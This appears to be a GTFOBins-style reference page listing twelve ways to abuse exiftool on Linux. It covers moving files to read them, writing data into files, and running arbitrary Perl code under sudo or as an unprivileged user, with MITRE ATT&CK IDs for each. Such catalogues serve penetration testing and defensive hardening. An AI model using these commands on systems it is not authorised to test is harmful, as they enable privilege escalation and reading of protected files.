GTFO · Tool

exiftool

12 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

If the permissions allow it, files are moved (instead of copied) to the destination.

exiftool -filename=/path/to/output-file /path/to/input-file
cat /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/exiftool/

file-read

File ReadLinux

If the permissions allow it, files are moved (instead of copied) to the destination.

exiftool -filename=/path/to/output-file /path/to/input-file
cat /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WritePrivilege EscalationLinux

If the permissions allow it, files are moved (instead of copied) to the destination.

exiftool -filename=/path/to/output-file /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WriteLinux

If the permissions allow it, files are moved (instead of copied) to the destination.

exiftool -filename=/path/to/output-file /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WritePrivilege EscalationLinux

The output file must exists, either empty or be a supported image file. The content is written amidst other content.

exiftool "-description<=/path/to/input-file --filename /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WriteLinux

The output file must exists, either empty or be a supported image file. The content is written amidst other content.

exiftool "-description<=/path/to/input-file --filename /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WritePrivilege EscalationLinux

The output file must exists, either empty or be a supported image file. The content is written amidst other content.

exiftool "-description=DATA --filename /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WriteLinux

The output file must exists, either empty or be a supported image file. The content is written amidst other content.

exiftool "-description=DATA --filename /path/to/output-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WritePrivilege EscalationLinux

Writes the metadata tags of the input file in textual format to the output.

exiftool -description -W /path/to/output-file --filename /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

file-write

File WriteLinux

Writes the metadata tags of the input file in textual format to the output.

exiftool -description -W /path/to/output-file --filename /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/exiftool/

inherit ← perl

File DownloadFile ReadReverse/Bind ShellExecutionFile UploadPrivilege EscalationLinux

This allows to run Perl code (`...`).

exiftool -if '...' /etc/passwd

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: inherit, from:perl
MITRE: T1105 T1005 T1059 T1071 T1041
Refs: gtfobins.github.io/gtfobins/exiftool/

inherit ← perl

File DownloadFile ReadReverse/Bind ShellExecutionFile UploadLinux

This allows to run Perl code (`...`).

exiftool -if '...' /etc/passwd

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: inherit, from:perl
MITRE: T1105 T1005 T1059 T1071 T1041
Refs: gtfobins.github.io/gtfobins/exiftool/